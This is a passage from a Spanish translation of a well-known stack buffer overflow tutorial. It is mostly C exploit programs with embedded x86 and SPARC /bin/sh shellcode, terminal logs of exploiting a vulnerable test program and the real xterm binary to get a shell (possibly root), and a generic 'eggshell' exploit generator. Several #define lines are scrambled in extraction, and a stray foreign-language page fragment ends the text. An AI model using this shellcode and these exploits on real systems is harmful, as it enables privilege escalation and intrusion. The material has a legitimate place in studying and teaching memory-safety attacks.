void main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } ----------------------------------------------------------------------------------------------------------------------------------------------------------[aleph1]$ gcc -o testsc2 testsc2.c [aleph1]$ ./testsc2 $ exit [aleph1]$ -----------------------------------------------------------------------------Escribiendo un Exploit ~~~~~~~~~~~~~~~~~~~~~~ (o como mung el stack) ~~~~~~~~~~~~~~~~~~~~~~ Vamos a tratar de empujar todas nuestras piezas juntas. Tenemos el shellcode. Sabemos que debe ser parte del string que usaremos para overflowear el buffer. Sabemos que debe apuntar la direccion de retorno hacia atras dentro del buffer. Este ejemplo demostrara estos puntos: overflow1.c -----------------------------------------------------------------------------char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; char large_string[128]; void main() { char buffer[96]; int i; long *long_ptr = (long *) large_string; for (i = 0; i < 32; i++) *(long_ptr + i) = (int) buffer; for (i = 0; i < strlen(shellcode); i++) large_string[i] = shellcode[i]; strcpy(buffer,large_string); } ----------------------------------------------------------------------------------------------------------------------------------------------------------[aleph1]$ gcc -o exploit1 exploit1.c [aleph1]$ ./exploit1 $ exit exit [aleph1]$ -----------------------------------------------------------------------------Lo que hemos hecho arriba es llenar el array large_string[] con la

direccion de buffer[], que es donde estara nuestro codigo. Despues copiamos nuestro shellcode dentro del principio del string large_string. strcpy() copiara entonces large_string hacia el buffer sin hacer ningun chequeo de destrozos, y overfloweara la direccion de retorno, sobreescribiendolo con la direccion donde esta ahora ubicado nuestro codigo. Una vez que alcanzamos el final de main y trato de devolverlo saltando a nuestro codigo, ejecuta un shell. El problema que hemos enfrentamos cuando tratamos de overflowear el buffer de otro programa es tratar de figurarse en que direccion el buffer (y asi nuestro codigo) estara. La respuesta es que para cada programa el stack empezara en la misma direccion. La mayoria de los programas no pushean mas que un par de cientos o un par de miles de bytes dentro del stack a cualquier hora. De esta manera conociendo donde comienza el stack podemos tratar de averiguar donde estara el buffer que estamos tratando de overflowear. Aqui hay un peque~o programa que imprimira su stack pointer: sp.c -----------------------------------------------------------------------------unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main() { printf("0x%x\n", get_sp()); } ----------------------------------------------------------------------------------------------------------------------------------------------------------[aleph1]$ ./sp 0x8000470 [aleph1]$ -----------------------------------------------------------------------------Vamos a asumir que este es el programa que estamos tratando de overflowear: vulnerable.c -----------------------------------------------------------------------------void main(int argc, char *argv[]) { char buffer[512]; if (argc > 1) strcpy(buffer,argv[1]); } -----------------------------------------------------------------------------Podemos crear un programa que tome como parametro el tama~o del buffer, y un offset desde su propio stack pointer (donde creemos que puede vivir el buffer que queremos overflowear). Pondremos el string del overflow en una variable de entorno por lo que es muy facil de manipular: exploit2.c -----------------------------------------------------------------------------#include <stdlib.h> #define DEFAULT_OFFSET #define DEFAULT_BUFFER_SIZE 0 512

char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

"\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr += 4; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; memcpy(buff,"EGG=",4); putenv(buff); system("/bin/bash"); } -----------------------------------------------------------------------------Ahora podemos tratar de averiguar que deberian ser el buffer y el offset: -----------------------------------------------------------------------------[aleph1]$ ./exploit2 500 Using address: 0xbffffdb4 [aleph1]$ ./vulnerable $EGG [aleph1]$ exit [aleph1]$ ./exploit2 600 Using address: 0xbffffdb4 [aleph1]$ ./vulnerable $EGG Illegal instruction [aleph1]$ exit [aleph1]$ ./exploit2 600 100 Using address: 0xbffffd4c [aleph1]$ ./vulnerable $EGG Segmentation fault [aleph1]$ exit [aleph1]$ ./exploit2 600 200 Using address: 0xbffffce8 [aleph1]$ ./vulnerable $EGG

Segmentation fault [aleph1]$ exit . . . [aleph1]$ ./exploit2 600 1564 Using address: 0xbffff794 [aleph1]$ ./vulnerable $EGG $ -----------------------------------------------------------------------------Como podemos ver esto no es un proceso eficiente. Tratando de averiguar el offset incluso mientras se conoce el comienzo de donde vive el stack es casi imposible. Necesitariamos como mejor cientos de intentos, y como peor un par de miles. El problema es que necesitamos averiguar *exactamente* donde empezara la direccion de nuestro codigo. Si estamos fuera por un byte mas o menos solo obtendremos una violacion de segmentacion o una instruccion invalida. Una forma de incrementar nuestras chances es rellenar el frente de nuestro buffer overflow con instrucciones NOP. Casi todos los procesadores tienen una instruccion NOP que lleva a cabo una operacion null. Es usado usualmente para retardar la ejecucion para propositos de tiempo. Tomaremos ventaja de esto y llenaremos la mitad de nuestro overflow buffer con ellos. Ubicaremos nuestro shellcode en el centro, y despues siguiendolo con las direcciones de retorno. Si somos afortunados y la direccion de retorno apunta a cualquier lugar en el string de NOPs, seran ejecutados justo antes de que alcancen a nuestro codigo. En la arquitectura Intel la instruccion NOP es un byte largo y se traduce a 0x90 en codigo maquina. Asumiendo que el stack empieza en la direccion 0xFF, por S se entiende el shell code, y por N una instruccion NOP el nuevo stack se ve asi: fondo de memoria <-----tope del stack Los nuevos exploits son entonces: exploit3.c -----------------------------------------------------------------------------#include <stdlib.h> #define DEFAULT_OFFSET #define DEFAULT_BUFFER_SIZE #define NOP 0 512 0x90 DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF buffer sfp ret a b c [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE] ^ | |_____________________| fondo del stack tope de memoria

char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) {

char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; for (i = 0; i < bsize/2; i++) buff[i] = NOP; ptr = buff + ((bsize/2) - (strlen(shellcode)/2)); for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; memcpy(buff,"EGG=",4); putenv(buff); system("/bin/bash"); } -----------------------------------------------------------------------------Una buena seleccion para nuestro tama~o de buffer es 100 bytes mas que el tama~o del buffer que estamos tratando de overflowear. Esto ubicara nuestro codigo al final del buffer que estamos trarando de overflowear, dando mucho espacio para los NOPs, pero sigue sobreescribiendo la direccion de retorno con la direccion que averiguamos. El buffer que estamos tratando de overflowear es 512 bytes de largo, entonces usaremos 612. Vamos a tratar de overflowear nuestro programa de prueba con nuestro nuevo exploit: -----------------------------------------------------------------------------[aleph1]$ ./exploit3 612 Using address: 0xbffffdb4 [aleph1]$ ./vulnerable $EGG $ -----------------------------------------------------------------------------Whoa! Primer intento! Este cambio ha improvisado nuestras chances cien veces. Vamos a intentarlo ahora en un caso real de un buffer overflow. Usaremos para nuestra demostracion el buffer overflow en la libreria Xt. Para nuestro ejemplo, usaremos xterm (todos los programas linkeados con la libreria Xt son vulnerables). Debes estar corriendo un X server y permitir conexiones a el desde el localhost. Configura tu variable DISPLAY apropiadamente: ------------------------------------------------------------------------------

[aleph1]$ export DISPLAY=:0.0 [aleph1]$ ./exploit3 1124 Using address: 0xbffffdb4 [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG Warning: Color name "^1FF V

1@/bin/sh

^C [aleph1]$ exit [aleph1]$ ./exploit3 2148 100 Using address: 0xbffffd48 [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG Warning: Color name "^1FF V

1@/bin/shHHHHHHHHHHHHHHHHHH

HHHHHHHHHHHHHHHHHHHHHHH

HHHHHHHHHHHHHHHHHHHHHHH

HHHHHHHHHHHHHHHHHHHHHHHH

HHHHHHHHHHHH Warning: some arguments in previous message were lost Illegal instruction [aleph1]$ exit . . . [aleph1]$ ./exploit4 2148 600 Using address: 0xbffffb54 [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG Warning: Color name "^1FF V

1@/bin/shTTTTTTTTTTTTTTTTTT

TTTTTTTTTTTTTTTTTTTTTTT

TTTTTTTTTTTTTTTTTTTTTTT

TTTTTTTTTTTTTTTTTTTTTTTT

TTTTTTTTTTTT Warning: some arguments in previous message were lost bash$ -----------------------------------------------------------------------------Eureka! Menos de una docena de intentos y encontramos los numeros magicos. Si xterm fue instalada suid root esto puede ser ahora un root shell. Buffer Overflows Peque~os ~~~~~~~~~~~~~~~~~~~~~~~~~ Habra momentos cuando el buffer que estas tratando de overflowear es tan peque~o que el shellcode no entrara dentro de el, y sobreescribira la direccion de retorno con instrucciones en vez de la direccion de nuestro codigo, o el numero de NOPs que puedes rellenar con el frente del string es tan peque~o que las chances de averiguar su direccion es minuscula. Para obtener una shell de estos programas tendremos que ir en busca de otro camino. Este acercamiento particular solo funciona cuando tienes acceso a las variables de entorno del programa. Lo que haremos sera ubicar nuestro shellcode en una variable de entorno, y luego overflowear el buffer con la direccion de su variable en memoria. Este metodo tambien incrementa tus cambios del exploit funcionando tal que puedes hacer que la variable de entorno mantenga el shell code tan largo como quieras. Las variables de entorno son guardadas en el tope del stack cuando el programa es arrancado, cualquier modificaciones por setenv() son luego asignadas en cualquier lugar. El stack al principio se ve asi: <strings><argv pointers>NULL<envp pointers>NULL<argc><argv><envp> Nuestro nuevo programa tomara una variable extra, el tama~o de la variable conteniendo el shellcode y NOPs. Nuestro nuevo exploit ahora se ve asi: exploit4.c -----------------------------------------------------------------------------#include <stdlib.h> #define #define #define #define DEFAULT_OFFSET DEFAULT_BUFFER_SIZE DEFAULT_EGG_SIZE NOP 0 512 2048 0x90

char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_esp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr, *egg; long *addr_ptr, addr;

int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, eggsize=DEFAULT_EGG_SIZE; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (argc > 3) eggsize = atoi(argv[3]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } if (!(egg = malloc(eggsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_esp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr = egg; for (i = 0; i < eggsize - strlen(shellcode) - 1; i++) *(ptr++) = NOP; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; egg[eggsize - 1] = '\0'; memcpy(egg,"EGG=",4); putenv(egg); memcpy(buff,"RET=",4); putenv(buff); system("/bin/bash"); } -----------------------------------------------------------------------------Vamos a intentar con nuestro nuevo exploit con nuestro programa de prueba vulnerable: -----------------------------------------------------------------------------[aleph1]$ ./exploit4 768 Using address: 0xbffffdb0 [aleph1]$ ./vulnerable $RET $ -----------------------------------------------------------------------------Funciona como un encanto. Ahora vamos a intentarlo en xterm: -----------------------------------------------------------------------------[aleph1]$ export DISPLAY=:0.0 [aleph1]$ ./exploit4 2148 Using address: 0xbffffdb0 [aleph1]$ /usr/X11R6/bin/xterm -fg $RET

Warning: Color name "

Warning: some arguments in previous message were lost $ -----------------------------------------------------------------------------En el primer intento! Ciertamente ha incrementado nuestras probabilidades. Dependiendo cuantos datos de entorno el programa exploit ha comparado con el programa que estas tratando de exploitear la direccion averiguada puede ser para inferior o para superior. Experimenta ambos con offsets positivos y negativos. Encontrando Buffer Overflows ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Como fue establecido antes, buffer overflows son resultado de poner mas informacion dentro de un buffer que la que tiene establecida para soportar. Ya que C no tiene chequeo de destrozos dentro, los overflows se manifiestan casi siempre escribiendo pasando el final de un array de caracter. La libreria estandar de C provee un numero de funciones para copiar o apendizar strings, que no realizan chequeo de limites. Ellas incluyen: strcat(), strcpy(), sprintf(), y vsprintf(). Estas funciones operan en strings terminados en nulo, y no chequean por oveflow en el string que reciben. gets() es una funcion que lee una linea desde stdin dentro de un buffer hasta una nueva linea terminando o EOF. No lleva a cabo chequeos por buffer overflows. La familia de funciones scanf() tambien puede ser un problema si estas coincidiendo una secuencia de caracteres no-espacios-enblanco (%s), o coincidiendo una secuencia no-vacia de caracteres desde un set especificado (%[]) para aceptar la secuencia completa de caracteres,

y no has definido el ancho maximo opcional del campo. Si el objetivo de cualquiera de estas funciones es un buffer de tama~o estatico, y su otro argumento fue alguno derivado de input de usuario hay una buena posibilidad de que puedas exploitear un buffer overflow. Otra construccion usual de programacion que encontramos es el uso de un loop while para leer un caracter por vez dentro de un buffer desde stdin o algun archivo antes del fin de la linea, final de archivo, o algun otro delimitador alcanzado. Este tipo de construccion usualmente usa una de estas funciones: getc(), fgetc(), o getchar(). Si no hay chequeos explicitos por overflows en el loop while, tales programas son facilmente exploiteados. Para concluir, grep(1) es tu amigo. Los fuentes para sistemas operativos libres y sus utilidades estan disponibles legiblemente. Esta realidad se convierte en completamente interesante una vez que te figuras que hay varias utilidades de sistemas operativos comerciales que derivan desde los mismos fuentes que los mismos libres. Usa el codigo d00d. Apendice A - Shellcode para Diferentes Sistemas Operativos/Arquitecturas ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ i386/Linux -----------------------------------------------------------------------------jmp 0x1f popl %esi movl %esi,0x8(%esi) xorl %eax,%eax movb %eax,0x7(%esi) movl %eax,0xc(%esi) movb $0xb,%al movl %esi,%ebx leal 0x8(%esi),%ecx leal 0xc(%esi),%edx int $0x80 xorl %ebx,%ebx movl %ebx,%eax inc %eax int $0x80 call -0x24 .string \"/bin/sh\" -----------------------------------------------------------------------------SPARC/Solaris -----------------------------------------------------------------------------sethi 0xbd89a, %l6 or %l6, 0x16e, %l6 sethi 0xbdcda, %l7 and %sp, %sp, %o0 add %sp, 8, %o1 xor %o2, %o2, %o2 add %sp, 16, %sp std %l6, [%sp - 16] st %sp, [%sp - 8] st %g0, [%sp - 4] mov 0x3b, %g1 ta 8 xor %o7, %o7, %o0 mov 1, %g1 ta 8

-----------------------------------------------------------------------------SPARC/SunOS -----------------------------------------------------------------------------sethi 0xbd89a, %l6 or %l6, 0x16e, %l6 sethi 0xbdcda, %l7 and %sp, %sp, %o0 add %sp, 8, %o1 xor %o2, %o2, %o2 add %sp, 16, %sp std %l6, [%sp - 16] st %sp, [%sp - 8] st %g0, [%sp - 4] mov 0x3b, %g1 mov -0x1, %l5 ta %l5 + 1 xor %o7, %o7, %o0 mov 1, %g1 ta %l5 + 1 -----------------------------------------------------------------------------Apendice B - Programa de Buffer Overflow Generico ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ shellcode.h -----------------------------------------------------------------------------#if defined(__i386__) && defined(__linux__) #define NOP_SIZE 1 char nop[] = "\x90"; char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } #elif defined(__sparc__) && defined(__sun__) && defined(__svr4__) #define NOP_SIZE 4 char nop[]="\xac\x15\xa1\x6e"; char shellcode[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e" "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0" "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08" "\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08"; unsigned long get_sp(void) { __asm__("or %sp, %sp, %i0"); } #elif defined(__sparc__) && defined(__sun__) #define NOP_SIZE 4 char nop[]="\xac\x15\xa1\x6e"; char shellcode[] =

"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e" "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0" "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff" "\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01"; unsigned long get_sp(void) { __asm__("or %sp, %sp, %i0"); } #endif -----------------------------------------------------------------------------eggshell.c -----------------------------------------------------------------------------/* * eggshell v1.0 * * Aleph One / aleph1@underground.org */ #include <stdlib.h> #include <stdio.h> #include "shellcode.h" #define DEFAULT_OFFSET #define DEFAULT_BUFFER_SIZE #define DEFAULT_EGG_SIZE void usage(void); void main(int argc, char *argv[]) { char *ptr, *bof, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE; while ((c = getopt(argc, argv, "a:b:e:o:")) != EOF) switch (c) { case 'a': align = atoi(optarg); break; case 'b': bsize = atoi(optarg); break; case 'e': eggsize = atoi(optarg); break; case 'o': offset = atoi(optarg); break; case '?': usage(); exit(0); } if (strlen(shellcode) > eggsize) { printf("Shellcode is larger the the egg.\n"); exit(0); } if (!(bof = malloc(bsize))) { 0 512 2048

printf("Can't allocate memory.\n"); exit(0); } if (!(egg = malloc(eggsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() - offset; printf("[ Buffer size:\t%d\t\tEgg size:\t%d\tAligment:\t%d\t]\n", bsize, eggsize, align); printf("[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n", addr, offset); addr_ptr = (long *) bof; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr = egg; for (i = 0; i <= eggsize - strlen(shellcode) - NOP_SIZE; i += NOP_SIZE) for (n = 0; n < NOP_SIZE; n++) { m = (n + align) % NOP_SIZE; *(ptr++) = nop[m]; } for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; bof[bsize - 1] = '\0'; egg[eggsize - 1] = '\0'; memcpy(egg,"EGG=",4); putenv(egg); memcpy(bof,"BOF=",4); putenv(bof); system("/bin/sh"); } void usage(void) { (void)fprintf(stderr, "usage: eggshell [-a <alignment>] [-b <buffersize>] [-e <eggsize>] [-o <offs et>]\n"); } -----------------------------------------------------------------------------Traducido por Active Matrix <ActiveMatrix@technologist.com> Para RareGaZz - http://raregazz.cjb.net Argentina, 2002 El articulo aqui traducido, mantiene los derechos de autor.

S-ar putea să vă placă și